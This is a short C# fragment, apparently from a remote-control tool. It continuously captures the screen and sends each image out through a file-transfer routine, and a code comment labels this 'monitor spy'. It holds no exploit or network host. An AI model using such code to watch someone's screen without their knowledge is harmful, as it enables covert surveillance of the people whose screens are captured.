public void SendRemoteScreen() { while (EnableRemoteControl) { try { //Thread.Sleep(1000 / 30); //30fps is max speed we can get... Bitmap ScreenImage = ScreenCapture.CaptureScreen(); byte[] ScreenBytes = ScreenCapture.BitmapToBytes(ScreenImage); GC.Collect(); FileTransfer info = new FileTransfer(); info.type = -1; //-1 = monitor spy SendFile(info, ScreenBytes, S_FileTransferSendBegin.SendType.MonitorSpy); } catch {} } }